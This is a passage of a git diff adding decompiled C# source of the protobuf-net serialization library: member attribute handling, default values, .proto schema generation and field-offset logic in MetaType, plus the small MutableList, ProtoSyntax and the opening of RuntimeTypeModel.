int.MinValue; + int num = ((!inferByTagName) ? 1 : (-1)); + string text = null; + bool value2 = false; + bool ignore = false; + bool flag = false; + bool value3 = false; + bool value4 = false; + bool value5 = false; + bool value6 = false; + bool tagIsPinned = false; + bool value7 = false; + DataFormat value8 = DataFormat.Default; + if (isEnum) + { + forced = true; + } + AttributeMap[] attribs = AttributeMap.Create(model, member, inherit: true); + if (isEnum) + { + AttributeMap attribute = GetAttribute(attribs, "ProtoBuf.ProtoIgnoreAttribute"); + if (attribute != null) + { + ignore = true; + } + else + { + attribute = GetAttribute(attribs, "ProtoBuf.ProtoEnumAttribute"); + value = Convert.ToInt32(((FieldInfo)member).GetRawConstantValue()); + if (attribute != null) + { + GetFieldName(ref text, attribute, "Name"); + if ((bool)Helpers.GetInstanceMethod(attribute.AttributeType, "HasValue").Invoke(attribute.Target, null) && attribute.TryGet("Value", out var value9)) + { + if (value != (int)value9) + { + hasConflictingEnumValue = true; + } + value = (int)value9; + } + } + } + flag = true; + } + if (!ignore && !flag) + { + AttributeMap attribute = GetAttribute(attribs, "ProtoBuf.ProtoMemberAttribute"); + GetIgnore(ref ignore, attribute, attribs, "ProtoBuf.ProtoIgnoreAttribute"); + if (!ignore && attribute != null) + { + GetFieldNumber(ref value, attribute, "Tag"); + GetFieldName(ref text, attribute, "Name"); + GetFieldBoolean(ref value3, attribute, "IsRequired"); + GetFieldBoolean(ref value2, attribute, "IsPacked"); + GetFieldBoolean(ref value7, attribute, "OverwriteList"); + GetDataFormat(ref value8, attribute, "DataFormat"); + GetFieldBoolean(ref value5, attribute, "AsReferenceHasValue", publicOnly: false); + if (value5) + { + value5 = GetFieldBoolean(ref value4, attribute, "AsReference", publicOnly: true); + } + GetFieldBoolean(ref value6, attribute, "DynamicType"); + flag = (tagIsPinned = value > 0); + } + if (!flag && partialMembers != null) + { + BasicList.NodeEnumerator enumerator = partialMembers.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeMap attributeMap = (AttributeMap)enumerator.Current; + if (attributeMap.TryGet("MemberName", out var value10) && (string)value10 == member.Name) + { + GetFieldNumber(ref value, attributeMap, "Tag"); + GetFieldName(ref text, attributeMap, "Name"); + GetFieldBoolean(ref value3, attributeMap, "IsRequired"); + GetFieldBoolean(ref value2, attributeMap, "IsPacked"); + GetFieldBoolean(ref value7, attribute, "OverwriteList"); + GetDataFormat(ref value8, attributeMap, "DataFormat"); + GetFieldBoolean(ref value5, attribute, "AsReferenceHasValue", publicOnly: false); + if (value5) + { + value5 = GetFieldBoolean(ref value4, attributeMap, "AsReference", publicOnly: true); + } + GetFieldBoolean(ref value6, attributeMap, "DynamicType"); + if (flag = (tagIsPinned = value > 0)) + { + break; + } + } + } + } + } + if (!ignore && !flag && HasFamily(family, AttributeFamily.DataContractSerialier)) + { + AttributeMap attribute = GetAttribute(attribs, "System.Runtime.Serialization.DataMemberAttribute"); + if (attribute != null) + { + GetFieldNumber(ref value, attribute, "Order"); + GetFieldName(ref text, attribute, "Name"); + GetFieldBoolean(ref value3, attribute, "IsRequired"); + flag = value >= num; + if (flag) + { + value += dataMemberOffset; + } + } + } + if (!ignore && !flag && HasFamily(family, AttributeFamily.XmlSerializer)) + { + AttributeMap attribute = GetAttribute(attribs, "System.Xml.Serialization.XmlElementAttribute"); + if (attribute == null) + { + attribute = GetAttribute(attribs, "System.Xml.Serialization.XmlArrayAttribute"); + } + GetIgnore(ref ignore, attribute, attribs, "System.Xml.Serialization.XmlIgnoreAttribute"); + if (attribute != null && !ignore) + { + GetFieldNumber(ref value, attribute, "Order"); + GetFieldName(ref text, attribute, "ElementName"); + flag = value >= num; + } + } + if (!ignore && !flag && GetAttribute(attribs, "System.NonSerializedAttribute") != null) + { + ignore = true; + } + if (ignore || (value < num && !forced)) + { + return null; + } + return new ProtoMemberAttribute(value, forced || inferByTagName) + { + AsReference = value4, + AsReferenceHasValue = value5, + DataFormat = value8, + DynamicType = value6, + IsPacked = value2, + OverwriteList = value7, + IsRequired = value3, + Name = (string.IsNullOrEmpty(text) ? member.Name : text), + Member = member, + BackingMember = backingMember, + TagIsPinned = tagIsPinned + }; + } + + private ValueMember ApplyDefaultBehaviour(bool isEnum, ProtoMemberAttribute normalizedAttribute) + { + MemberInfo member; + if (normalizedAttribute == null || (object)(member = normalizedAttribute.Member) == null) + { + return null; + } + Type memberType = Helpers.GetMemberType(member); + Type itemType = null; + Type defaultType = null; + ResolveListTypes(model, memberType, ref itemType, ref defaultType); + bool flag = false; + if ((object)itemType != null) + { + int num = model.FindOrAddAuto(memberType, demand: false, addWithContractOnly: true, addEvenIfAutoDisabled: false); + if (num >= 0 && (flag = model[memberType].IgnoreListHandling)) + { + itemType = null; + defaultType = null; + } + } + AttributeMap[] attribs = AttributeMap.Create(model, member, inherit: true); + object defaultValue = null; + if (model.UseImplicitZeroDefaults) + { + switch (Helpers.GetTypeCode(memberType)) + { + case ProtoTypeCode.Boolean: + defaultValue = false; + break; + case ProtoTypeCode.Decimal: + defaultValue = 0m; + break; + case ProtoTypeCode.Single: + defaultValue = 0f; + break; + case ProtoTypeCode.Double: + defaultValue = 0.0; + break; + case ProtoTypeCode.Byte: + defaultValue = (byte)0; + break; + case ProtoTypeCode.Char: + defaultValue = '\0'; + break; + case ProtoTypeCode.Int16: + defaultValue = (short)0; + break; + case ProtoTypeCode.Int32: + defaultValue = 0; + break; + case ProtoTypeCode.Int64: + defaultValue = 0L; + break; + case ProtoTypeCode.SByte: + defaultValue = (sbyte)0; + break; + case ProtoTypeCode.UInt16: + defaultValue = (ushort)0; + break; + case ProtoTypeCode.UInt32: + defaultValue = 0u; + break; + case ProtoTypeCode.UInt64: + defaultValue = 0uL; + break; + case ProtoTypeCode.TimeSpan: + defaultValue = TimeSpan.Zero; + break; + case ProtoTypeCode.Guid: + defaultValue = Guid.Empty; + break; + } + } + AttributeMap attribute; + if ((attribute = GetAttribute(attribs, "System.ComponentModel.DefaultValueAttribute")) != null && attribute.TryGet("Value", out var value)) + { + defaultValue = value; + } + ValueMember valueMember = ((isEnum || normalizedAttribute.Tag > 0) ? new ValueMember(model, type, normalizedAttribute.Tag, member, memberType, itemType, defaultType, normalizedAttribute.DataFormat, defaultValue) : null); + if (valueMember != null) + { + valueMember.BackingMember = normalizedAttribute.BackingMember; + Type declaringType = type; + PropertyInfo propertyInfo = Helpers.GetProperty(declaringType, member.Name + "Specified", nonPublic: true); + MethodInfo getMethod = Helpers.GetGetMethod(propertyInfo, nonPublic: true, allowInternal: true); + if ((object)getMethod == null || getMethod.IsStatic) + { + propertyInfo = null; + } + if ((object)propertyInfo != null) + { + valueMember.SetSpecified(getMethod, Helpers.GetSetMethod(propertyInfo, nonPublic: true, allowInternal: true)); + } + else + { + MethodInfo instanceMethod = Helpers.GetInstanceMethod(declaringType, "ShouldSerialize" + member.Name, Helpers.EmptyTypes); + if ((object)instanceMethod != null && (object)instanceMethod.ReturnType == model.MapType(typeof(bool))) + { + valueMember.SetSpecified(instanceMethod, null); + } + } + if (!string.IsNullOrEmpty(normalizedAttribute.Name)) + { + valueMember.SetName(normalizedAttribute.Name); + } + valueMember.IsPacked = normalizedAttribute.IsPacked; + valueMember.IsRequired = normalizedAttribute.IsRequired; + valueMember.OverwriteList = normalizedAttribute.OverwriteList; + if (normalizedAttribute.AsReferenceHasValue) + { + valueMember.AsReference = normalizedAttribute.AsReference; + } + valueMember.DynamicType = normalizedAttribute.DynamicType; + valueMember.IsMap = !flag && valueMember.ResolveMapTypes(out var _, out var _, out var _); + if (valueMember.IsMap && (attribute = GetAttribute(attribs, "ProtoBuf.ProtoMapAttribute")) != null) + { + if (attribute.TryGet("DisableMap", out var value2) && (bool)value2) + { + valueMember.IsMap = false; + } + else + { + if (attribute.TryGet("KeyFormat", out value2)) + { + valueMember.MapKeyFormat = (DataFormat)value2; + } + if (attribute.TryGet("ValueFormat", out value2)) + { + valueMember.MapValueFormat = (DataFormat)value2; + } + } + } + } + return valueMember; + } + + private static void GetDataFormat(ref DataFormat value, AttributeMap attrib, string memberName) + { + if (attrib != null && value == DataFormat.Default && attrib.TryGet(memberName, out var value2) && value2 != null) + { + value = (DataFormat)value2; + } + } + + private static void GetIgnore(ref bool ignore, AttributeMap attrib, AttributeMap[] attribs, string fullName) + { + if (!ignore && attrib != null) + { + ignore = GetAttribute(attribs, fullName) != null; + } + } + + private static void GetFieldBoolean(ref bool value, AttributeMap attrib, string memberName) + { + GetFieldBoolean(ref value, attrib, memberName, publicOnly: true); + } + + private static bool GetFieldBoolean(ref bool value, AttributeMap attrib, string memberName, bool publicOnly) + { + if (attrib == null) + { + return false; + } + if (value) + { + return true; + } + if (attrib.TryGet(memberName, publicOnly, out var value2) && value2 != null) + { + value = (bool)value2; + return true; + } + return false; + } + + private static void GetFieldNumber(ref int value, AttributeMap attrib, string memberName) + { + if (attrib != null && value <= 0 && attrib.TryGet(memberName, out var value2) && value2 != null) + { + value = (int)value2; + } + } + + private static void GetFieldName(ref string name, AttributeMap attrib, string memberName) + { + if (attrib != null && string.IsNullOrEmpty(name) && attrib.TryGet(memberName, out var value) && value != null) + { + name = (string)value; + } + } + + private static AttributeMap GetAttribute(AttributeMap[] attribs, string fullName) + { + foreach (AttributeMap attributeMap in attribs) + { + if (attributeMap != null && attributeMap.AttributeType.FullName == fullName) + { + return attributeMap; + } + } + return null; + } + + public MetaType Add(int fieldNumber, string memberName) + { + AddField(fieldNumber, memberName, null, null, null); + return this; + } + + public ValueMember AddField(int fieldNumber, string memberName) + { + return AddField(fieldNumber, memberName, null, null, null); + } + + public MetaType Add(string memberName) + { + Add(GetNextFieldNumber(), memberName); + return this; + } + + public void SetSurrogate(Type surrogateType) + { + if ((object)surrogateType == type) + { + surrogateType = null; + } + if ((object)surrogateType != null && (object)surrogateType != null && Helpers.IsAssignableFrom(model.MapType(typeof(IEnumerable)), surrogateType)) + { + throw new ArgumentException("Repeated data (a list, collection, etc) has inbuilt behaviour and cannot be used as a surrogate"); + } + ThrowIfFrozen(); + surrogate = surrogateType; + } + + internal MetaType GetSurrogateOrSelf() + { + if ((object)surrogate != null) + { + return model[surrogate]; + } + return this; + } + + internal MetaType GetSurrogateOrBaseOrSelf(bool deep) + { + if ((object)surrogate != null) + { + return model[surrogate]; + } + MetaType metaType = baseType; + if (metaType != null) + { + if (deep) + { + MetaType result; + do + { + result = metaType; + metaType = metaType.baseType; + } + while (metaType != null); + return result; + } + return metaType; + } + return this; + } + + private int GetNextFieldNumber() + { + int num = 0; + BasicList.NodeEnumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + ValueMember valueMember = (ValueMember)enumerator.Current; + if (valueMember.FieldNumber > num) + { + num = valueMember.FieldNumber; + } + } + if (subTypes != null) + { + BasicList.NodeEnumerator enumerator2 = subTypes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SubType subType = (SubType)enumerator2.Current; + if (subType.FieldNumber > num) + { + num = subType.FieldNumber; + } + } + } + return num + 1; + } + + public MetaType Add(params string[] memberNames) + { + if (memberNames == null) + { + throw new ArgumentNullException("memberNames"); + } + int nextFieldNumber = GetNextFieldNumber(); + for (int i = 0; i < memberNames.Length; i++) + { + Add(nextFieldNumber++, memberNames[i]); + } + return this; + } + + public MetaType Add(int fieldNumber, string memberName, object defaultValue) + { + AddField(fieldNumber, memberName, null, null, defaultValue); + return this; + } + + public MetaType Add(int fieldNumber, string memberName, Type itemType, Type defaultType) + { + AddField(fieldNumber, memberName, itemType, defaultType, null); + return this; + } + + public ValueMember AddField(int fieldNumber, string memberName, Type itemType, Type defaultType) + { + return AddField(fieldNumber, memberName, itemType, defaultType, null); + } + + private ValueMember AddField(int fieldNumber, string memberName, Type itemType, Type defaultType, object defaultValue) + { + MemberInfo memberInfo = null; + MemberInfo[] member = type.GetMember(memberName, Helpers.IsEnum(type) ? (BindingFlags.Static | BindingFlags.Public) : (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)); + if (member != null && member.Length == 1) + { + memberInfo = member[0]; + } + if ((object)memberInfo == null) + { + throw new ArgumentException("Unable to determine member: " + memberName, "memberName"); + } + PropertyInfo propertyInfo = null; + FieldInfo fieldInfo = null; + Type memberType; + switch (memberInfo.MemberType) + { + case MemberTypes.Field: + fieldInfo = (FieldInfo)memberInfo; + memberType = fieldInfo.FieldType; + break; + case MemberTypes.Property: + propertyInfo = (PropertyInfo)memberInfo; + memberType = propertyInfo.PropertyType; + break; + default: + throw new NotSupportedException(memberInfo.MemberType.ToString()); + } + ResolveListTypes(model, memberType, ref itemType, ref defaultType); + MemberInfo memberInfo2 = null; + if ((object)propertyInfo != null && !propertyInfo.CanWrite) + { + string text = "<" + ((PropertyInfo)memberInfo).Name + ">k__BackingField"; + MemberInfo[] member2 = type.GetMember("<" + ((PropertyInfo)memberInfo).Name + ">k__BackingField", Helpers.IsEnum(type) ? (BindingFlags.Static | BindingFlags.Public) : (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic)); + if (member2 != null && member2.Length == 1 && member2[0] is FieldInfo) + { + memberInfo2 = member2[0]; + } + } + ValueMember valueMember = new ValueMember(model, type, fieldNumber, memberInfo2 ?? memberInfo, memberType, itemType, defaultType, DataFormat.Default, defaultValue); + if ((object)memberInfo2 != null) + { + valueMember.SetName(memberInfo.Name); + } + Add(valueMember); + return valueMember; + } + + internal static void ResolveListTypes(TypeModel model, Type type, ref Type itemType, ref Type defaultType) + { + if ((object)type == null) + { + return; + } + if (type.IsArray) + { + if (type.GetArrayRank() != 1) + { + throw new NotSupportedException("Multi-dimensional arrays are not supported"); + } + itemType = type.GetElementType(); + if ((object)itemType == model.MapType(typeof(byte))) + { + defaultType = (itemType = null); + } + else + { + defaultType = type; + } + } + if ((object)itemType == null) + { + itemType = TypeModel.GetListItemType(model, type); + } + if ((object)itemType != null) + { + Type itemType2 = null; + Type defaultType2 = null; + ResolveListTypes(model, itemType, ref itemType2, ref defaultType2); + if ((object)itemType2 != null) + { + throw TypeModel.CreateNestedListsNotSupported(type); + } + } + if ((object)itemType == null || (object)defaultType != null) + { + return; + } + if (type.IsClass && !type.IsAbstract && (object)Helpers.GetConstructor(type, Helpers.EmptyTypes, nonPublic: true) != null) + { + defaultType = type; + } + if ((object)defaultType == null && type.IsInterface) + { + Type[] genericArguments; + if (type.IsGenericType && (object)type.GetGenericTypeDefinition() == model.MapType(typeof(IDictionary<, >)) && (object)itemType == model.MapType(typeof(KeyValuePair<, >)).MakeGenericType(genericArguments = type.GetGenericArguments())) + { + defaultType = model.MapType(typeof(Dictionary<, >)).MakeGenericType(genericArguments); + } + else + { + defaultType = model.MapType(typeof(List<>)).MakeGenericType(itemType); + } + } + if ((object)defaultType != null && !Helpers.IsAssignableFrom(type, defaultType)) + { + defaultType = null; + } + } + + private void Add(ValueMember member) + { + int opaqueToken = 0; + try + { + model.TakeLock(ref opaqueToken); + ThrowIfFrozen(); + fields.Add(member); + } + finally + { + model.ReleaseLock(opaqueToken); + } + } + + public ValueMember[] GetFields() + { + ValueMember[] array = new ValueMember[fields.Count]; + fields.CopyTo(array, 0); + Array.Sort(array, ValueMember.Comparer.Default); + return array; + } + + public SubType[] GetSubtypes() + { + if (subTypes == null || subTypes.Count == 0) + { + return new SubType[0]; + } + SubType[] array = new SubType[subTypes.Count]; + subTypes.CopyTo(array, 0); + Array.Sort(array, SubType.Comparer.Default); + return array; + } + + internal IEnumerable GetAllGenericArguments() + { + return GetAllGenericArguments(type); + } + + private static IEnumerable GetAllGenericArguments(Type type) + { + Type[] genericArguments = type.GetGenericArguments(); + Type[] array = genericArguments; + foreach (Type arg in array) + { + yield return arg; + foreach (Type allGenericArgument in GetAllGenericArguments(arg)) + { + yield return allGenericArgument; + } + } + } + + public void CompileInPlace() + { + serializer = CompiledSerializer.Wrap(Serializer, model); + } + + internal bool IsDefined(int fieldNumber) + { + BasicList.NodeEnumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + ValueMember valueMember = (ValueMember)enumerator.Current; + if (valueMember.FieldNumber == fieldNumber) + { + return true; + } + } + return false; + } + + internal int GetKey(bool demand, bool getBaseKey) + { + return model.GetKey(type, demand, getBaseKey); + } + + internal EnumSerializer.EnumPair[] GetEnumMap() + { + if (HasFlag(2)) + { + return null; + } + EnumSerializer.EnumPair[] array = new EnumSerializer.EnumPair[fields.Count]; + for (int i = 0; i < array.Length; i++) + { + ValueMember valueMember = (ValueMember)fields[i]; + int fieldNumber = valueMember.FieldNumber; + object rawEnumValue = valueMember.GetRawEnumValue(); + array[i] = new EnumSerializer.EnumPair(fieldNumber, rawEnumValue, valueMember.MemberType); + } + return array; + } + + private bool HasFlag(ushort flag) + { + return (flags & flag) == flag; + } + + private void SetFlag(ushort flag, bool value, bool throwIfFrozen) + { + if (throwIfFrozen && HasFlag(flag) != value) + { + ThrowIfFrozen(); + } + if (value) + { + flags |= flag; + } + else + { + flags = (ushort)(flags & ~flag); + } + } + + internal static MetaType GetRootType(MetaType source) + { + while (source.serializer != null) + { + MetaType metaType = source.baseType; + if (metaType == null) + { + return source; + } + source = metaType; + } + RuntimeTypeModel runtimeTypeModel = source.model; + int opaqueToken = 0; + try + { + runtimeTypeModel.TakeLock(ref opaqueToken); + MetaType metaType2; + while ((metaType2 = source.baseType) != null) + { + source = metaType2; + } + return source; + } + finally + { + runtimeTypeModel.ReleaseLock(opaqueToken); + } + } + + internal bool IsPrepared() + { + return serializer is CompiledSerializer; + } + + internal static StringBuilder NewLine(StringBuilder builder, int indent) + { + return Helpers.AppendLine(builder).Append(' ', indent * 3); + } + + internal void WriteSchema(StringBuilder builder, int indent, ref RuntimeTypeModel.CommonImports imports, ProtoSyntax syntax) + { + if ((object)surrogate != null) + { + return; + } + ValueMember[] array = new ValueMember[fields.Count]; + fields.CopyTo(array, 0); + Array.Sort(array, ValueMember.Comparer.Default); + if (IsList) + { + string schemaTypeName = model.GetSchemaTypeName(TypeModel.GetListItemType(model, type), DataFormat.Default, asReference: false, dynamicType: false, ref imports); + NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); + NewLine(builder, indent + 1).Append("repeated ").Append(schemaTypeName).Append(" items = 1;"); + NewLine(builder, indent).Append('}'); + return; + } + if (IsAutoTuple) + { + if ((object)ResolveTupleConstructor(type, out var mappedMembers) == null) + { + return; + } + NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); + for (int i = 0; i < mappedMembers.Length; i++) + { + Type effectiveType; + if (mappedMembers[i] is PropertyInfo propertyInfo) + { + effectiveType = propertyInfo.PropertyType; + } + else + { + if (!(mappedMembers[i] is FieldInfo fieldInfo)) + { + throw new NotSupportedException("Unknown member type: " + mappedMembers[i].GetType().Name); + } + effectiveType = fieldInfo.FieldType; + } + NewLine(builder, indent + 1).Append((syntax == ProtoSyntax.Proto2) ? "optional " : "").Append(model.GetSchemaTypeName(effectiveType, DataFormat.Default, asReference: false, dynamicType: false, ref imports).Replace('.', '_')).Append(' ') + .Append(mappedMembers[i].Name) + .Append(" = ") + .Append(i + 1) + .Append(';'); + } + NewLine(builder, indent).Append('}'); + return; + } + if (Helpers.IsEnum(type)) + { + NewLine(builder, indent).Append("enum ").Append(GetSchemaTypeName()).Append(" {"); + if (array.Length == 0 && EnumPassthru) + { + if (type.IsDefined(model.MapType(typeof(FlagsAttribute)), inherit: false)) + { + NewLine(builder, indent + 1).Append("// this is a composite/flags enumeration"); + } + else + { + NewLine(builder, indent + 1).Append("// this enumeration will be passed as a raw value"); + } + FieldInfo[] array2 = type.GetFields(); + foreach (FieldInfo fieldInfo2 in array2) + { + if (fieldInfo2.IsStatic && fieldInfo2.IsLiteral) + { + object rawConstantValue = fieldInfo2.GetRawConstantValue(); + NewLine(builder, indent + 1).Append(fieldInfo2.Name).Append(" = ").Append(rawConstantValue) + .Append(";"); + } + } + } + else + { + Dictionary dictionary = new Dictionary(array.Length); + bool flag = false; + ValueMember[] array3 = array; + foreach (ValueMember valueMember in array3) + { + if (dictionary.ContainsKey(valueMember.FieldNumber)) + { + flag = true; + break; + } + dictionary.Add(valueMember.FieldNumber, 1); + } + if (flag) + { + NewLine(builder, indent + 1).Append("option allow_alias = true;"); + } + bool flag2 = false; + ValueMember[] array4 = array; + foreach (ValueMember valueMember2 in array4) + { + if (valueMember2.FieldNumber == 0) + { + NewLine(builder, indent + 1).Append(valueMember2.Name).Append(" = ").Append(valueMember2.FieldNumber) + .Append(';'); + flag2 = true; + } + } + if (syntax == ProtoSyntax.Proto3 && !flag2) + { + NewLine(builder, indent + 1).Append("ZERO = 0; // proto3 requires a zero value as the first item (it can be named anything)"); + } + ValueMember[] array5 = array; + foreach (ValueMember valueMember3 in array5) + { + if (valueMember3.FieldNumber != 0) + { + NewLine(builder, indent + 1).Append(valueMember3.Name).Append(" = ").Append(valueMember3.FieldNumber) + .Append(';'); + } + } + } + NewLine(builder, indent).Append('}'); + return; + } + NewLine(builder, indent).Append("message ").Append(GetSchemaTypeName()).Append(" {"); + ValueMember[] array6 = array; + foreach (ValueMember valueMember4 in array6) + { + bool hasOption = false; + string schemaTypeName3; + if (valueMember4.IsMap) + { + valueMember4.ResolveMapTypes(out var _, out var keyType, out var valueType); + string schemaTypeName2 = model.GetSchemaTypeName(keyType, valueMember4.MapKeyFormat, asReference: false, dynamicType: false, ref imports); + schemaTypeName3 = model.GetSchemaTypeName(valueType, valueMember4.MapKeyFormat, valueMember4.AsReference, valueMember4.DynamicType, ref imports); + NewLine(builder, indent + 1).Append("map<").Append(schemaTypeName2).Append(",") + .Append(schemaTypeName3) + .Append("> ") + .Append(valueMember4.Name) + .Append(" = ") + .Append(valueMember4.FieldNumber) + .Append(";"); + } + else + { + string value = (((object)valueMember4.ItemType != null) ? "repeated " : ((syntax != ProtoSyntax.Proto2) ? "" : (valueMember4.IsRequired ? "required " : "optional "))); + NewLine(builder, indent + 1).Append(value); + if (valueMember4.DataFormat == DataFormat.Group) + { + builder.Append("group "); + } + schemaTypeName3 = valueMember4.GetSchemaTypeName(applyNetObjectProxy: true, ref imports); + builder.Append(schemaTypeName3).Append(" ").Append(valueMember4.Name) + .Append(" = ") + .Append(valueMember4.FieldNumber); + if (syntax == ProtoSyntax.Proto2 && valueMember4.DefaultValue != null && !valueMember4.IsRequired) + { + if (valueMember4.DefaultValue is string) + { + AddOption(builder, ref hasOption).Append("default = \"").Append(valueMember4.DefaultValue).Append("\""); + } + else if (!(valueMember4.DefaultValue is TimeSpan)) + { + if (valueMember4.DefaultValue is bool) + { + AddOption(builder, ref hasOption).Append(((bool)valueMember4.DefaultValue) ? "default = true" : "default = false"); + } + else + { + AddOption(builder, ref hasOption).Append("default = ").Append(valueMember4.DefaultValue); + } + } + } + if (CanPack(valueMember4.ItemType)) + { + if (syntax == ProtoSyntax.Proto2) + { + if (valueMember4.IsPacked) + { + AddOption(builder, ref hasOption).Append("packed = true"); + } + } + else if (!valueMember4.IsPacked) + { + AddOption(builder, ref hasOption).Append("packed = false"); + } + } + if (valueMember4.AsReference) + { + imports |= RuntimeTypeModel.CommonImports.Protogen; + AddOption(builder, ref hasOption).Append("(.protobuf_net.fieldopt).asRef = true"); + } + if (valueMember4.DynamicType) + { + imports |= RuntimeTypeModel.CommonImports.Protogen; + AddOption(builder, ref hasOption).Append("(.protobuf_net.fieldopt).dynamicType = true"); + } + CloseOption(builder, ref hasOption).Append(';'); + if (syntax != ProtoSyntax.Proto2 && valueMember4.DefaultValue != null && !valueMember4.IsRequired && !IsImplicitDefault(valueMember4.DefaultValue)) + { + builder.Append(" // default value could not be applied: ").Append(valueMember4.DefaultValue); + } + } + if (schemaTypeName3 == ".bcl.NetObjectProxy" && valueMember4.AsReference && !valueMember4.DynamicType) + { + builder.Append(" // reference-tracked ").Append(valueMember4.GetSchemaTypeName(applyNetObjectProxy: false, ref imports)); + } + } + if (subTypes != null && subTypes.Count != 0) + { + SubType[] array7 = new SubType[subTypes.Count]; + subTypes.CopyTo(array7, 0); + Array.Sort(array7, SubType.Comparer.Default); + string[] array8 = new string[array7.Length]; + for (int num = 0; num < array7.Length; num++) + { + array8[num] = array7[num].DerivedType.GetSchemaTypeName(); + } + string text = "subtype"; + while (Array.IndexOf(array8, text) >= 0) + { + text = "_" + text; + } + NewLine(builder, indent + 1).Append("oneof ").Append(text).Append(" {"); + for (int num2 = 0; num2 < array7.Length; num2++) + { + string value2 = array8[num2]; + NewLine(builder, indent + 2).Append(value2).Append(" ").Append(value2) + .Append(" = ") + .Append(array7[num2].FieldNumber) + .Append(';'); + } + NewLine(builder, indent + 1).Append("}"); + } + NewLine(builder, indent).Append('}'); + } + + private static StringBuilder AddOption(StringBuilder builder, ref bool hasOption) + { + if (hasOption) + { + return builder.Append(", "); + } + hasOption = true; + return builder.Append(" ["); + } + + private static StringBuilder CloseOption(StringBuilder builder, ref bool hasOption) + { + if (hasOption) + { + hasOption = false; + return builder.Append("]"); + } + return builder; + } + + private static bool IsImplicitDefault(object value) + { + try + { + if (value == null) + { + return false; + } + switch (Helpers.GetTypeCode(value.GetType())) + { + case ProtoTypeCode.Boolean: + return !(bool)value; + case ProtoTypeCode.Byte: + return (byte)value == 0; + case ProtoTypeCode.Char: + return (char)value == '\0'; + case ProtoTypeCode.DateTime: + return (DateTime)value == default(DateTime); + case ProtoTypeCode.Decimal: + return (decimal)value == 0m; + case ProtoTypeCode.Double: + return (double)value == 0.0; + case ProtoTypeCode.Int16: + return (short)value == 0; + case ProtoTypeCode.Int32: + return (int)value == 0; + case ProtoTypeCode.Int64: + return (long)value == 0; + case ProtoTypeCode.SByte: + return (sbyte)value == 0; + case ProtoTypeCode.Single: + return (float)value == 0f; + case ProtoTypeCode.String: + return (string)value == ""; + case ProtoTypeCode.TimeSpan: + return (TimeSpan)value == TimeSpan.Zero; + case ProtoTypeCode.UInt16: + return (ushort)value == 0; + case ProtoTypeCode.UInt32: + return (uint)value == 0; + case ProtoTypeCode.UInt64: + return (ulong)value == 0; + } + } + catch + { + } + return false; + } + + private static bool CanPack(Type type) + { + if ((object)type == null) + { + return false; + } + ProtoTypeCode typeCode = Helpers.GetTypeCode(type); + if ((uint)(typeCode - 3) <= 11u) + { + return true; + } + return false; + } + + [Browsable(false)] + [EditorBrowsable(EditorBrowsableState.Advanced)] + public void ApplyFieldOffset(int offset) + { + if (Helpers.IsEnum(type)) + { + throw new InvalidOperationException("Cannot apply field-offset to an enum"); + } + if (offset == 0) + { + return; + } + int opaqueToken = 0; + try + { + model.TakeLock(ref opaqueToken); + ThrowIfFrozen(); + if (fields != null) + { + BasicList.NodeEnumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + ValueMember valueMember = (ValueMember)enumerator.Current; + AssertValidFieldNumber(valueMember.FieldNumber + offset); + } + } + if (subTypes != null) + { + BasicList.NodeEnumerator enumerator2 = subTypes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SubType subType = (SubType)enumerator2.Current; + AssertValidFieldNumber(subType.FieldNumber + offset); + } + } + if (fields != null) + { + BasicList.NodeEnumerator enumerator3 = fields.GetEnumerator(); + while (enumerator3.MoveNext()) + { + ((ValueMember)enumerator3.Current).FieldNumber += offset; + } + } + if (subTypes != null) + { + BasicList.NodeEnumerator enumerator4 = subTypes.GetEnumerator(); + while (enumerator4.MoveNext()) + { + ((SubType)enumerator4.Current).FieldNumber += offset; + } + } + } + finally + { + model.ReleaseLock(opaqueToken); + } + } + + internal static void AssertValidFieldNumber(int fieldNumber) + { + if (fieldNumber < 1) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/MutableList.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/MutableList.cs new file mode 100644 index 0000000..271c480 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/MutableList.cs @@ -0,0 +1,26 @@ +namespace ProtoBuf.Meta; + +internal sealed class MutableList : BasicList +{ + public new object this[int index] + { + get + { + return head[index]; + } + set + { + head[index] = value; + } + } + + public void RemoveLast() + { + head.RemoveLastWithMutate(); + } + + public void Clear() + { + head.Clear(); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/ProtoSyntax.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/ProtoSyntax.cs new file mode 100644 index 0000000..333fa88 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/ProtoSyntax.cs @@ -0,0 +1,7 @@ +namespace ProtoBuf.Meta; + +public enum ProtoSyntax +{ + Proto2, + Proto3 +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/RuntimeTypeModel.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/RuntimeTypeModel.cs new file mode 100644 index 0000000..933d0dc --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/RuntimeTypeModel.cs @@ -0,0 +1,1902 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Reflection; +using System.Reflection.Emit; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using ProtoBuf.Compiler; +using ProtoBuf.Serializers; + +namespace ProtoBuf.Meta; + +public sealed class RuntimeTypeModel : TypeModel +{ + private sealed class Singleton + { + internal static readonly RuntimeTypeModel Value = new RuntimeTypeModel(isDefault: true); + + private Singleton() + { + } + } + + [Flags] + internal enum CommonImports + { + None = 0, + Bcl = 1, + Timestamp = 2, + Duration = 4, + Protogen = 8 + } + + private sealed class BasicType + { + private readonly Type type; + + private readonly IProtoSerializer serializer; + + public Type Type => type; + + public IProtoSerializer 